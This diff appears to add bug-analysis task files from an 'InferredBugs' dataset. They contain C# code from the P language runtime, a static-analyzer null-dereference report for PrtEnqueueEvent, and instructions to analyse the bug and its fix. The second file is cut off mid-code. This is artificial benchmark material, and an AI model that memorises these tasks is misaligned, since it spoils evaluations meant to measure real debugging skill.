+        public HashSet<PrtValue> receiveSet;
+        public int maxBufferSize;
+        public bool doAssume;
+        #endregion
+
+        #region Clone and Undo
+        public PrtImplMachine Clone()
+        {
+            var clonedMachine = MakeSkeleton();
+            clonedMachine.instanceNumber = this.instanceNumber;
+            foreach(var fd in fields)
+            {
+                clonedMachine.fields.Add(fd.Clone());
+            }
+            clonedMachine.eventValue = this.eventValue;
+            clonedMachine.stateStack = this.stateStack.Clone();
+            clonedMachine.invertedFunStack = this.invertedFunStack.Clone();
+            clonedMachine.continuation = this.continuation.Clone();
+            clonedMachine.currentTrigger = this.currentTrigger;
+            clonedMachine.currentPayload = this.currentPayload.Clone();
+            clonedMachine.eventQueue = this.eventQueue.Clone();
+            foreach(var ev in this.receiveSet)
+            {
+                clonedMachine.receiveSet.Add(ev);
+            }
+            clonedMachine.currentStatus = this.currentStatus;
+            clonedMachine.nextSMOperation = this.nextSMOperation;
+            clonedMachine.stateExitReason = this.stateExitReason;
+            clonedMachine.maxBufferSize = this.maxBufferSize;
+            clonedMachine.doAssume = this.doAssume;
+            clonedMachine.stateImpl = this.stateImpl;
+            return clonedMachine;
+        }
+        #endregion
+
+        #region Constructor
+        public abstract PrtImplMachine MakeSkeleton();
+
+        public PrtImplMachine() : base()
+        {
+            this.maxBufferSize = 0;
+            this.doAssume = false;
+            this.eventQueue = new PrtEventBuffer();
+            this.receiveSet = new HashSet<PrtValue>();
+        }
+
+        public PrtImplMachine(StateImpl app, int maxBuff, bool assume) : base()
+        {
+            this.instanceNumber = this.NextInstanceNumber(app);
+            this.eventQueue = new PrtEventBuffer();
+            this.receiveSet = new HashSet<PrtValue>();
+            this.maxBufferSize = maxBuff;
+            this.doAssume = assume;
+            this.stateImpl = app;
+            //Push the start state function on the funStack.
+            PrtPushState(StartState);
+        }
+        #endregion
+
+        #region getters and setters
+        public abstract int NextInstanceNumber(StateImpl app);
+        #endregion
+
+        #region State machine helper functions
+        public void PrtResetTriggerAndPayload()
+        {
+            currentTrigger = PrtValue.NullValue;
+            currentPayload = PrtValue.NullValue;
+        }
+
+        public override void PrtEnqueueEvent(PrtValue e, PrtValue arg, PrtMachine source)
+        {
+            
+            if (e is PrtNullValue)
+            {
+                throw new PrtIllegalEnqueueException("Enqueued event must be non-null");
+            }
+            PrtType prtType;
+            PrtEventValue ev = e as PrtEventValue;
+            
+
+            //assertion to check if argument passed inhabits the payload type.
+            prtType = ev.evt.payloadType;
+
+            if (!(prtType is PrtNullType) && !PrtValue.PrtInhabitsType(arg, prtType))
+            {
+                throw new PrtInhabitsTypeException(String.Format("Payload <{0}> does not match the expected type <{1}> with event <{2}>", arg.GetString(), prtType.GetString(), ev.evt.name));
+            }
+            else if (prtType is PrtNullType && !(arg is PrtNullValue))
+            {
+                throw new PrtIllegalEnqueueException("Did not expect a payload value");
+            }
+
+            if (currentStatus == PrtMachineStatus.Halted)
+            {
+                stateImpl.Trace(
+                    @"<EnqueueLog> {0}-{1} Machine has been halted and Event {2} is dropped",
+                    this.Name, this.instanceNumber, ev.evt.name);
+            }
+            else
+            {
+                stateImpl.Trace(
+                    @"<EnqueueLog> Enqueued Event <{0}, {1}> in {2}-{3} by {4}-{5}",
+                    ev.evt.name, arg.GetString(), this.Name, this.instanceNumber, source.Name, source.instanceNumber);
+
+                this.eventQueue.EnqueueEvent(e, arg);
+                if (this.maxBufferSize != -1 && this.eventQueue.Size() > this.maxBufferSize)
+                {
+                    if (this.doAssume)
+                    {
+                        throw new PrtAssumeFailureException();
+                    }
+                    else
+                    {
+                        throw new PrtMaxBufferSizeExceededException(
+                            String.Format(@"<EXCEPTION> Event Buffer Size Exceeded {0} in Machine {1}-{2}",
+                            this.maxBufferSize, this.Name, this.instanceNumber));
+                    }
+                }
+                if (currentStatus == PrtMachineStatus.Blocked && this.eventQueue.IsEnabled(this))
+                {
+                    currentStatus = PrtMachineStatus.Enabled;
+                }
+            }
+
+            //Announce it to all the monitors
+            stateImpl.Announce(e, arg, source);
+        }
+
+        public PrtDequeueReturnStatus PrtDequeueEvent(bool hasNullTransition)
+        {
+            if (eventQueue.DequeueEvent(this))
+            {
+                if (currentStatus == PrtMachineStatus.Blocked)
+                {
+                    throw new PrtInternalException("Internal error: Tyring to execute blocked machine");
+                }
+
+                stateImpl.Trace(
+                    "<DequeueLog> Dequeued Event < {0}, {1} > at Machine {2}-{3}\n",
+                    (currentTrigger as PrtEventValue).evt.name, currentPayload.GetString(), Name, instanceNumber);
+                receiveSet = new HashSet<PrtValue>();
+                return PrtDequeueReturnStatus.SUCCESS;
+            }
+            else if (hasNullTransition || receiveSet.Contains(currentTrigger))
+            {
+                if (currentStatus == PrtMachineStatus.Blocked)
+                {
+                    throw new PrtInternalException("Internal error: Tyring to execute blocked machine");
+                }
+                stateImpl.Trace(
+                    "<NullTransLog> Null transition taken by Machine {0}-{1}\n",
+                    Name, instanceNumber);
+                currentPayload = PrtValue.NullValue;
+                currentTrigger = PrtValue.NullValue;
+                receiveSet = new HashSet<PrtValue>();
+                return PrtDequeueReturnStatus.NULL;
+            }
+            else
+            {
+                if (currentStatus == PrtMachineStatus.Blocked)
+                {
+                    throw new PrtAssumeFailureException();
+                }
+                currentStatus = PrtMachineStatus.Blocked;
+                if (stateImpl.Deadlock)
+                {
+                    throw new PrtDeadlockException("Deadlock detected");
+                }
+                return PrtDequeueReturnStatus.BLOCKED;
+            }
+        }
+
+        public void PrtExecuteReceiveCase(PrtValue ev)
+        {
+            var currRecIndex = continuation.receiveIndex;
+            var currFun = invertedFunStack.TopOfStack.fun.receiveCases[currRecIndex][ev];
+            if(currFun.IsAnonFun)
+                PrtPushFunStackFrame(currFun, currFun.CreateLocals(currentPayload));
+            else
+                PrtPushFunStackFrame(currFun, currFun.CreateLocals());
+
+            currFun.Execute(stateImpl, this);
+        }
+
+        public bool PrtIsPushTransitionPresent(PrtValue ev)
+        {
+            if (CurrentState.transitions.ContainsKey(ev))
+                return CurrentState.transitions[ev].isPushTran;
+            else
+                return false;
+        }
+
+        public bool PrtHasNullReceiveCase()
+        {
+            return receiveSet.Contains(PrtValue.HaltEvent);
+        }
+        #endregion
+
+
+        public void PrtRunStateMachine()
+        {
+            int numOfStepsTaken = 0;
+            Debug.Assert(currentStatus == PrtMachineStatus.Enabled, "Invoked PrtRunStateMachine on a blocked or a halted machine");
+
+            try
+            {
+                while (PrtStepStateMachine())
+                {
+                    if (numOfStepsTaken > 100000)
+                    {
+                        throw new PrtInfiniteRaiseLoop();
+                    }                   
+                    numOfStepsTaken++;
+                }
+            }
+            catch(PrtException ex)
+            {
+                stateImpl.Exception = ex;
+            }
+            
+        }
+        
+        public bool PrtStepStateMachine()
+        {
+            PrtValue currEventValue;
+            PrtFun currAction;
+            bool hasMoreWork = false;
+
+            switch(nextSMOperation)
+            {
+                case PrtNextStatemachineOperation.EntryOperation:
+                    goto DoEntry;
+                case PrtNextStatemachineOperation.DequeueOperation:
+                    goto DoDequeue;
+                case PrtNextStatemachineOperation.HandleEventOperation:
+                    goto DoHandleEvent;
+                case PrtNextStatemachineOperation.ReceiveOperation:
+                    goto DoReceive;
+            }
+
+            DoEntry:
+            /*
+             * Note that we have made an assumption that when a state is pushed on state stack or a transition is taken (update to a state)
+             * the action set and deferred set is updated appropriately
+            */
+            if(invertedFunStack.TopOfStack == null)
+            {
+                //Trace: entered state
+                if(CurrentState.entryFun.IsAnonFun)
+                    PrtPushFunStackFrame(CurrentState.entryFun, CurrentState.entryFun.CreateLocals(currentPayload));
+                else
+                    PrtPushFunStackFrame(CurrentState.entryFun, CurrentState.entryFun.CreateLocals());
+            }
+            //invoke the function
+            invertedFunStack.TopOfStack.fun.Execute(stateImpl, this);
+            goto CheckFunLastOperation;
+
+            DoAction:
+            currAction = PrtFindActionHandler(eventValue);
+            if(currAction == PrtCommonFunctions.IgnoreFun)
+            {
+                //Trace: Performed ignore action for the event
+                PrtResetTriggerAndPayload();
+            }
+            else
+            {
+                if(invertedFunStack.TopOfStack == null)
+                {
+                    //Trace: executed the action handler for event
+                    PrtPushFunStackFrame(currAction, currAction.CreateLocals(currentPayload));
+                }
+                //invoke the action handler
+                invertedFunStack.TopOfStack.fun.Execute(stateImpl, this);
+            }
+            goto CheckFunLastOperation;
+
+            CheckFunLastOperation:
+            if(receiveSet.Count != 0)
+            {
+                // We are at a blocking "receive"; so do receive operation
+                nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                goto Finish;
+
+            }
+
+            switch(continuation.reason)
+            {
+                case PrtContinuationReason.Pop:
+                    {
+                        stateExitReason = PrtStateExitReason.OnPopStatement;
+                        PrtExecuteExitFunction();
+                        goto CheckFunLastOperation;
+                    }
+                case PrtContinuationReason.Goto:
+                    {
+                        stateExitReason = PrtStateExitReason.OnGotoStatement;
+                        PrtExecuteExitFunction();
+                        goto CheckFunLastOperation;
+                    }
+                case PrtContinuationReason.Raise:
+                    {
+                        nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                        hasMoreWork = true;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.NewMachine:
+                    {
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        hasMoreWork = false;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Nondet:
+                    {
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        stateImpl.SetPendingChoicesAsBoolean(this);
+                        continuation.nondet = ((Boolean)stateImpl.GetSelectedChoiceValue(this));
+                        hasMoreWork = false;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Receive:
+                    { 
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                        hasMoreWork = true;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Send:
+                    {
+                        stateExitReason = PrtStateExitReason.NotExit;
+                        hasMoreWork = false;
+                        goto Finish;
+                    }
+                case PrtContinuationReason.Return:
+                    {
+                        switch (stateExitReason)
+                        {
+                            case PrtStateExitReason.NotExit:
+                                {
+                                    nextSMOperation = PrtNextStatemachineOperation.DequeueOperation;
+                                    hasMoreWork = true;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnPopStatement:
+                                {
+                                    hasMoreWork = !PrtPopState(true);
+                                    nextSMOperation = PrtNextStatemachineOperation.DequeueOperation;
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnGotoStatement:
+                                {
+                                    PrtChangeState(destOfGoto);
+                                    nextSMOperation = PrtNextStatemachineOperation.EntryOperation;
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    hasMoreWork = true;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnUnhandledEvent:
+                                {
+                                    hasMoreWork = !PrtPopState(false);
+                                    nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    goto Finish;
+                                }
+                            case PrtStateExitReason.OnTransition:
+                                {
+                                    stateExitReason = PrtStateExitReason.OnTransitionAfterExit;
+                                    PrtExecuteTransitionFun(eventValue);
+                                    goto CheckFunLastOperation;
+                                }
+                            case PrtStateExitReason.OnTransitionAfterExit:
+                                {
+                                    PrtChangeState(CurrentState.transitions[eventValue].gotoState);
+                                    stateExitReason = PrtStateExitReason.NotExit;
+                                    nextSMOperation = PrtNextStatemachineOperation.EntryOperation;
+                                    hasMoreWork = true;
+                                    goto Finish;
+                                }
+                            default:
+                                {
+                                    Debug.Assert(false, "Unexpected value for exit reason");
+                                    goto Finish;
+                                }
+                        }
+                        
+                    }
+                default:
+                    {
+                        Debug.Assert(false, "Unexpected value for continuation reason");
+                        goto Finish;
+                    }
+            }
+
+            DoDequeue:
+            Debug.Assert(receiveSet.Count == 0, "Machine cannot be blocked at receive when here");
+            var dequeueStatus = PrtDequeueEvent(CurrentState.hasNullTransition);
+            if(dequeueStatus == PrtDequeueReturnStatus.BLOCKED)
+            {
+                nextSMOperation = PrtNextStatemachineOperation.DequeueOperation;
+                hasMoreWork = false;
+                goto Finish;
+
+            }
+            else if (dequeueStatus == PrtDequeueReturnStatus.SUCCESS)
+            {
+                nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                hasMoreWork = true;
+                goto Finish;
+            }
+            else // NULL transition
+            {
+                nextSMOperation = PrtNextStatemachineOperation.HandleEventOperation;
+                hasMoreWork = false;
+                goto Finish;
+            }
+
+
+            DoHandleEvent:
+            Debug.Assert(receiveSet.Count == 0, "The machine must not be blocked on a receive");
+            if(!currentTrigger.IsEqual(PrtValue.NullValue))
+            {
+                currEventValue = currentTrigger;
+                currentTrigger = PrtValue.NullValue;
+            }
+            else
+            {
+                currEventValue = eventValue;
+            }
+
+            if(PrtIsPushTransitionPresent(currEventValue))
+            {
+                PrtPushState(CurrentState.transitions[currEventValue].gotoState);
+                goto DoEntry;
+            }
+            else if(PrtIsTransitionPresent(currEventValue))
+            {
+                stateExitReason = PrtStateExitReason.OnTransition;
+                eventValue = currEventValue;
+                PrtExecuteExitFunction();
+                goto CheckFunLastOperation;
+            }
+            else if(PrtIsActionInstalled(currEventValue))
+            {
+                goto DoAction;
+            }
+            else
+            {
+                stateExitReason = PrtStateExitReason.OnUnhandledEvent;
+                eventValue = currEventValue;
+                PrtExecuteExitFunction();
+                goto CheckFunLastOperation;
+            }
+
+            DoReceive:
+            Debug.Assert(receiveSet.Count == 0 && PrtHasNullReceiveCase(), "Receive set empty and at receive !!");
+            if(receiveSet.Count == 0)
+            {
+                stateExitReason = PrtStateExitReason.NotExit;
+                PrtExecuteReceiveCase(PrtValue.NullValue);
+                goto CheckFunLastOperation;
+            }
+            dequeueStatus = PrtDequeueEvent(false);
+            if (dequeueStatus == PrtDequeueReturnStatus.BLOCKED)
+            {
+                nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                hasMoreWork = false;
+                goto Finish;
+
+            }
+            else if (dequeueStatus == PrtDequeueReturnStatus.SUCCESS)
+            {
+                stateExitReason = PrtStateExitReason.NotExit;
+                PrtExecuteReceiveCase(currentTrigger);
+                goto CheckFunLastOperation;
+            }
+            else // NULL case
+            {
+                nextSMOperation = PrtNextStatemachineOperation.ReceiveOperation;
+                hasMoreWork = false;
+                goto Finish;
+            }
+
+            Finish:
+            Debug.Assert(!hasMoreWork || currentStatus == PrtMachineStatus.Enabled, "hasMoreWork is true but the statemachine is blocked");
+            return hasMoreWork;
+
+            }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `ev` last assigned on line 115 could be null and is dereferenced at line 119, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PrtImplMachine.PrtEnqueueEvent(PrtValue,PrtValue,PrtMachine)
+
+### File:
+Src/PTester/PRuntime/PrtImplMachine.cs
+
+### Key:
+PrtImplMachine.cs|PrtEnqueueEvent|NULL_DEREFERENCE
+
+### Node Key:
+1a0a3377221f0ce1f34b4a032e53576d
+
+### Hash:
+2295a870af592b757de09e09d5419138
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2859/instruction.md b/inferredbugs-2859/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a40555febcae69760e011b89830afea3f43ee844
--- /dev/null
+++ b/inferredbugs-2859/instruction.md
@@ -0,0 +1,813 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** P
+**Bug ID:** 13
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+
+namespace P.Runtime
+{
+    public abstract class PrtValue : IEquatable<PrtValue>
+    {
+        public static PrtNullValue NullValue = new PrtNullValue();
+        public static PrtEventValue HaltEvent = new PrtEventValue(new PrtEvent("Halt", new PrtNullType(), PrtEvent.DefaultMaxInstances, false));
+
+        public abstract PrtValue Clone();
+
+        public static PrtValue PrtMkDefaultValue(PrtType type)
+        {
+            if (type is PrtAnyType || type is PrtNullType || type is PrtEventType || type is PrtMachineType)
+                return new PrtNullValue();
+
+            else if(type is PrtIntType)
+            {
+                return new PrtIntValue();
+            }
+            else if(type is PrtBoolType)
+            {
+                return new PrtBoolValue();
+            }
+            else if (type is PrtMapType)
+            {
+                return new PrtMapValue();
+            }
+            else if (type is PrtSeqType)
+            {
+                return new PrtSeqValue();
+            }
+            else if (type is PrtNamedTupleType)
+            {
+                return new PrtNamedTupleValue(type as PrtNamedTupleType);
+            }
+            else if(type is PrtTupleType)
+            {
+                return new PrtTupleValue(type as PrtTupleType);
+            }
+            else
+            {
+                Debug.Assert(false, "Invalid type !!");
+                return null;
+            }
+        }
+
+        public override string ToString()
+        {
+            throw new NotImplementedException("ToString function is not overriden in the derived class");
+        }
+
+        public abstract int Size();
+
+        public abstract bool Equals(PrtValue val);
+
+        public static bool PrtInhabitsType(PrtValue value, PrtType type)
+        {
+            if (type is PrtAnyType)
+            {
+                return true;
+            }
+
+            if (value is PrtNullValue)
+            {
+                if (type is PrtEventType || type is PrtMachineType)
+                {
+                    return true;
+                }
+                else
+                {
+                    return false;
+                }
+            }
+
+            if (type is PrtIntType)
+            {
+                return value is PrtIntValue;
+            }
+            else if (type is PrtBoolType)
+            {
+                return value is PrtBoolValue;
+            }
+            else if (type is PrtEventType)
+            {
+                return value is PrtEventValue;
+            }
+            else if (type is PrtMachineType)
+            {
+                return value is PrtMachineValue;
+            }
+            else if (type is PrtTupleType)
+            {
+                if ((!(value is PrtTupleValue)) || (value as PrtTupleValue).fieldValues.Count != (type as PrtTupleType).fieldTypes.Count)
+                {
+                    return false;
+                }
+                else
+                {
+                    int index = 0;
+                    var tupVal = (value as PrtTupleValue);
+                    var tupType = (type as PrtTupleType);
+                    while (index < tupVal.fieldValues.Count)
+                    {
+                        if (!PrtInhabitsType(tupVal.fieldValues[index], tupType.fieldTypes[index]))
+                        {
+                            return false;
+                        }
+                        index++;
+                    }
+
+                    return true;
+                }
+            }
+            else if (type is PrtNamedTupleType)
+            {
+                if ((!(value is PrtNamedTupleValue)) || (value as PrtNamedTupleValue).fieldValues.Count != (type as PrtNamedTupleType).fieldTypes.Count)
+                {
+                    return false;
+                }
+                else
+                {
+                    int index = 0;
+                    var nmtupVal = (value as PrtNamedTupleValue);
+                    var nmtupType = (type as PrtNamedTupleType);
+                    while (index < nmtupVal.fieldValues.Count)
+                    {
+                        if (nmtupVal.fieldNames[index] != nmtupType.fieldNames[index])
+                        {
+                            return false;
+                        }
+                        else if (!PrtInhabitsType(nmtupVal.fieldValues[index], nmtupType.fieldTypes[index]))
+                        {
+                            return false;
+                        }
+                        index++;
+                    }
+
+                    return true;
+                }
+            }
+            else if (type is PrtMapType)
+            {
+                if (!(value is PrtMapValue))
+                {
+                    return false;
+                }
+                else
+                {
+                    var mapVal = (value as PrtMapValue);
+                    foreach (var key in mapVal.keys)
+                    {
+                        if (!PrtInhabitsType(key, (type as PrtMapType).keyType))
+                        {
+                            return false;
+                        }
+                    }
+                    foreach (var val in mapVal.values)
+                    {
+                        if (!PrtInhabitsType(val, (type as PrtMapType).valType))
+                        {
+                            return false;
+                        }
+                    }
+
+                    return true;
+                }
+            }
+            else if (type is PrtSeqType)
+            {
+                if (!(value is PrtSeqValue))
+                {
+                    return false;
+                }
+                else
+                {
+                    var seqVal = (value as PrtSeqValue);
+                    foreach (var elem in seqVal.elements)
+                    {
+                        if (!PrtInhabitsType(elem, (type as PrtSeqType).elemType))
+                        {
+                            return false;
+                        }
+                    }
+
+                    return true;
+                }
+            }
+            else
+            {
+                Debug.Assert(false, "Unknown type");
+                return false;
+            }
+        }
+
+        public static PrtValue PrtCastValue(PrtValue value, PrtType type)
+        {
+            if (!PrtInhabitsType(value, type))
+                throw new PrtInhabitsTypeException(String.Format("value {0} is not a member of type {1}", value.ToString(), type.ToString()));
+            return value.Clone();
+        }
+
+    }
+
+    public class PrtNullValue : PrtValue
+    {
+        public override PrtValue Clone()
+        {
+            return this;
+        }
+
+        public override string ToString()
+        {
+            return "null";
+        }
+
+        public override bool Equals(PrtValue value)
+        {
+            if (value is PrtNullValue)
+                return true;
+            else
+                return false;
+        }
+
+        public override int Size()
+        {
+            throw new NotImplementedException();
+        }
+    }
+
+    public class PrtIntValue : PrtValue
+    {
+        public int nt;
+
+        public PrtIntValue()
+        {
+            nt = 0;
+        }
+
+        public PrtIntValue(int val)
+        {
+            nt = val;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtIntValue(this.nt);
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            Debug.Assert(val is PrtIntValue, "Error in type checking, invalid equals invocation");
+            return this.nt == (val as PrtIntValue).nt;
+        }
+
+        public override string ToString()
+        {
+            return nt.ToString();
+        }
+
+        public override int Size()
+        {
+            throw new NotImplementedException();
+        }
+    }
+
+    public class PrtBoolValue : PrtValue
+    {
+        public bool bl;
+
+        public PrtBoolValue()
+        {
+            bl = false;
+        }
+
+        public PrtBoolValue(bool val)
+        {
+            this.bl = val;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtBoolValue(this.bl);
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            Debug.Assert(val is PrtBoolValue, "Error in type checking, invalid equals invocation");
+            return this.bl == (val as PrtBoolValue).bl;
+        }
+
+        public override string ToString()
+        {
+            return bl.ToString();
+        }
+
+        public override int Size()
+        {
+            throw new NotImplementedException();
+        }
+    }
+
+    public class PrtEventValue : PrtValue
+    {
+        public PrtEvent evt;
+
+        public PrtEventValue(PrtEvent val)
+        {
+            this.evt = val;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtEventValue(this.evt);
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            Debug.Assert(val is PrtEventValue, "Error in type checking, invalid equals invocation");
+            return this.evt == (val as PrtEventValue).evt;
+        }
+
+        public override string ToString()
+        {
+            return evt.name;
+        }
+
+        public override int Size()
+        {
+            throw new NotImplementedException();
+        }
+    }
+
+    public class PrtMachineValue : PrtValue
+    {
+        public PrtImplMachine mach;
+
+        public PrtMachineValue(PrtImplMachine mach)
+        {
+            this.mach = mach;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtMachineValue(this.mach);
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            Debug.Assert(val is PrtMachineValue, "Error in type checking, invalid equals invocation");
+            return this.mach == (val as PrtMachineValue).mach;
+        }
+
+        public override string ToString()
+        {
+            return String.Format("{0}({1})", mach.Name, mach.instanceNumber);
+        }
+
+        public override int Size()
+        {
+            throw new NotImplementedException();
+        }
+    }
+
+    public class PrtTupleValue : PrtValue
+    {
+        public List<PrtValue> fieldValues;
+
+        public PrtTupleValue()
+        {
+            fieldValues = new List<PrtValue>();
+        }
+
+        public PrtTupleValue(PrtTupleType tupType)
+        {
+            fieldValues = new List<PrtValue>(tupType.fieldTypes.Count);
+            foreach (var ft in tupType.fieldTypes)
+            {
+                fieldValues.Add(PrtMkDefaultValue(ft));
+            }
+        }
+
+        public PrtTupleValue(PrtTupleType tupType, params PrtValue[] elems)
+        {
+            if (tupType.fieldTypes.Count != elems.Count())
+                throw new PrtInternalException();
+            fieldValues = new List<PrtValue>(tupType.fieldTypes.Count);
+            foreach (var elem in elems)
+            {
+                fieldValues.Add(elem.Clone());
+            }
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtTupleValue();
+            foreach (var val in fieldValues)
+            {
+                clone.fieldValues.Add(val.Clone());
+            }
+            return clone;
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            if (val is PrtNamedTupleValue) return false;
+            var tupValue = (val as PrtTupleValue);
+            if (tupValue == null) return false;
+            if (tupValue.fieldValues.Count != this.fieldValues.Count) return false;
+            for (int i = 0;  i < fieldValues.Count; i++)
+            {
+                if (!this.fieldValues[i].Equals(tupValue.fieldValues[i])) return false;
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            string retStr = "<";
+            foreach (var field in fieldValues)
+            {
+                retStr = retStr + field.ToString() + ",";
+            }
+            retStr += ">";
+            return retStr;
+        }
+
+        public override int Size()
+        {
+            throw new NotImplementedException();
+        }
+    }
+
+    public class PrtNamedTupleValue : PrtTupleValue
+    {
+        public List<string> fieldNames;
+
+        public PrtNamedTupleValue() : base()
+        {
+            fieldNames = new List<string>();
+        }
+
+        public PrtNamedTupleValue(PrtNamedTupleType tupType) : base (tupType)
+        {
+            fieldNames = new List<string>(tupType.fieldTypes.Count);
+            foreach (var fn in tupType.fieldNames)
+            {
+                fieldNames.Add(fn);
+            }
+        }
+
+        public PrtNamedTupleValue(PrtNamedTupleType tupType, params PrtValue[] elems) : base (tupType, elems)
+        {
+            fieldNames = new List<string>(tupType.fieldTypes.Count);
+            foreach (var fn in tupType.fieldNames)
+            {
+                fieldNames.Add(fn);
+            }
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtNamedTupleValue();
+            foreach (var name in fieldNames)
+            {
+                clone.fieldNames.Add(name);
+            }
+            foreach (var val in fieldValues)
+            {
+                clone.fieldValues.Add(val.Clone());
+            }
+            return clone;
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            var tup = val as PrtNamedTupleValue;
+            if (tup == null) return false;
+            if (tup.fieldValues.Count != this.fieldValues.Count) return false;
+            for (int i = 0; i < tup.fieldValues.Count; i++)
+            {
+                if (this.fieldNames[i] != tup.fieldNames[i]) return false;
+                if (!this.fieldValues[i].Equals(tup.fieldValues[i])) return false;
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            string retStr = "<";
+            int index = 0;
+
+            while (index < fieldValues.Count)
+            {
+                retStr += fieldNames[index] + ":" + fieldValues[index].ToString() + ", ";
+                index++;
+            }
+            retStr += ">";
+            return retStr;
+        }
+    }
+
+    public class PrtSeqValue : PrtValue
+    {
+        public List<PrtValue> elements;
+
+        public PrtSeqValue()
+        {
+            elements = new List<PrtValue>();
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtSeqValue();
+            foreach (var val in elements)
+            {
+                clone.elements.Add(val.Clone());
+            }
+
+            return clone;
+        }
+
+        public PrtValue ElementAt(PrtValue index)
+        {
+            var _index = index as PrtIntValue;
+            if (_index == null)
+            {
+                //TODO: Problem
+                throw new Exception();
+            }
+            else
+            {
+                if (_index.nt < Size())
+                { 
+                    return elements[_index.nt];
+                }
+                else
+                {
+                    //TODO: Problem
+                    throw new Exception();
+                }
+            }
+        }
+
+        public PrtValue ElementAt(int index)
+        {
+            if (index < Size())
+            {
+                return elements[index];
+            }
+            else
+            {
+                //TODO: Problem
+                throw new Exception();
+            }
+        }
+
+        public void Insert(int index, PrtValue val)
+        {
+            //TODO: raise an exception for invalid index
+            elements.Insert(index, val.Clone());
+        }
+
+        public void Remove(int index)
+        {
+            //TODO: raise an exception for invalid index
+            elements.RemoveAt(index);
+        }
+
+        public override int Size()
+        {
+            return elements.Count();
+        }
+
+        public override bool Equals(PrtValue val)
+        {
+            Debug.Assert(val is PrtSeqValue, "Error in type checking, invalid equals invocation");
+            var seqVal = val as PrtSeqValue;
+            if (seqVal.elements.Count != this.elements.Count)
+            {
+                return false;
+            }
+            else
+            {
+                int index = 0;
+                while (index < this.elements.Count)
+                {
+                    if (!this.elements[index].Equals(seqVal.elements[index]))
+                        return false;
+
+                    index++;
+                }
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            string retStr = "(";
+            int index = 0;
+
+            while (index < elements.Count)
+            {
+                retStr += elements[index] + ", ";
+                index++;
+            }
+            retStr += ")";
+            return retStr;
+        }
+    }
+
+    public class PrtMapValue : PrtValue
+    {
+        public List<PrtValue> keys;
+        public List<PrtValue> values;
+
+        public PrtMapValue()
+        {
+            values = new List<PrtValue>();
+            keys = new List<PrtValue>();
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtMapValue();
+            foreach (var v in values)
+            {
+                clone.values.Add(v.Clone());
+            }
+            foreach (var k in keys)
+            {
+                clone.keys.Add(k.Clone());
+            }
+            return clone;
+        }
+
+        public override int Size()
+        {
+            return values.Count();
+        }
+
+        public PrtValue LookUp(PrtValue key)
+        {
+            if (!Contains(key))
+            {
+                //TODO: raise an exception for invalid update
+            }
+            var index = keys.FindIndex((k => k.Equals(key)));
+            return values[index].Clone();
+        }
+
+        public PrtSeqValue Keys()
+        {
+            var seqKeys = new PrtSeqValue();
+            seqKeys.elements.AddRange((this.Clone() as PrtMapValue).keys);
+            return seqKeys;
+        }
+
+        public PrtSeqValue Values()
+        {
+            var seqValues = new PrtSeqValue();
+            seqValues.elements.AddRange((this.Clone() as PrtMapValue).values);
+            return seqValues;
+        }
+
+        public bool Contains(PrtValue key)
+        {
+            return keys.Where(k => k.Equals(key)).Count() > 0;
+        }
+
+        public void Add(PrtValue key, PrtValue val)
+        {
+            if (Contains(key))
+            {
+                //TODO: raise an exception for invalid add
+            }
+            else
+            {
+                keys.Add(key.Clone());
+                values.Add(val.Clone());
+            }
+        }
+
+        public void Remove(PrtValue key)
+        {
+            if (!Contains(key))
+            {
+                //TODO: raise an exception for invalid remove
+            }
+            var index = keys.FindIndex((k => k.Equals(key)));
